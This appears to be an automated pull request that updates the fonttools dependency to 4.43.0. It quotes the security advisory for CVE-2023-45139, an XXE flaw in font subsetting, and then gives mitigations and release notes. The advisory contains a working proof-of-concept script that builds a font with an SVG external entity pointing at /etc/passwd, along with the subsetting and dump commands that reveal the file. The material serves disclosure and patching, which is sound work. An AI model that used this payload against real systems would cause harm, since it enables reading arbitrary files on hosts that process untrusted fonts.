Update dependency fonttools to v4.43.0 [SECURITY]

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This PR contains the following updates:

Package	Change	Age	Confidence
fonttools	==4.42.1 -> ==4.43.0

GitHub Vulnerability Alerts

CVE-2023-45139

Summary

As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.

This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.

PoC

The vulnerability can be reproduced following the bellow steps on a unix based system.

1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.

from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable

XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <g id="glyph1">
    <text font-size="10" x="0" y="10">&test;</text>
  </g>
</svg>
"""

def main():
    # generate a random TTF font with an SVG table
    glyph_order = [".notdef"] + list(ascii_letters)
    pen = TTGlyphPen(glyphSet=None)
    pen.moveTo((0, 0))
    pen.lineTo((0, 500))
    pen.lineTo((500, 500))
    pen.lineTo((500, 0))
    pen.closePath()
    glyph = pen.glyph()
    glyphs = {g: glyph for g in glyph_order}

    fb = FontBuilder(unitsPerEm=1024, isTTF=True)
    fb.setupGlyphOrder(glyph_order)
    fb.setupCharacterMap({ord(c): c for c in ascii_letters})
    fb.setupGlyf(glyphs)
    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
    fb.setupHorizontalHeader()
    fb.setupOS2()
    fb.setupPost()
    fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})

    svg_table = newTable("SVG ")
    svg_table.docList = [
       (XXE_SVG, 1, 12)
    ]
    fb.font["SVG "] = svg_table

    fb.font.save('poc-payload.ttf')

if __name__ == '__main__':
    main()

2. Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):

pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs

3. Read the parsed SVG table in the subsetted font:

ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx

Observed the included contents of the /etc/passwd file.

Impact

Note the final severity is dependant on the environment fontTools is running in.

• The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on

Possible Mitigations

There may be other ways to mitigate the issue, but some suggestions:

1. Set the resolve_entities=False flag on parsing methods
2. Consider further methods of disallowing doctype declarations
3. Consider recursive regex matching

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Release Notes

fonttools/fonttools (fonttools)

v4.43.0

Compare Source

• [subset] Set up lxml XMLParser(resolve_entities=False) when parsing OT-SVG documents to prevent XML External Entity (XXE) attacks (9f61271): https://codeql.github.com/codeql-query-help/python/py-xxe/
• [varLib.iup] Added workaround for a Cython bug in iup_delta_optimize that was leading to IUP tolerance being incorrectly initialised, resulting in sub-optimal deltas (6012643, cython/cython#5732).
• [varLib] Added new command-line entry point fonttools varLib.avar to add an avar table to an existing VF from axes mappings in a .designspace file (0a3360e).
• [instancer] Fixed bug whereby no longer used variation regions were not correctly pruned after VarData optimization (#​3268).
• Added support for Python 3.12 (#​3283).

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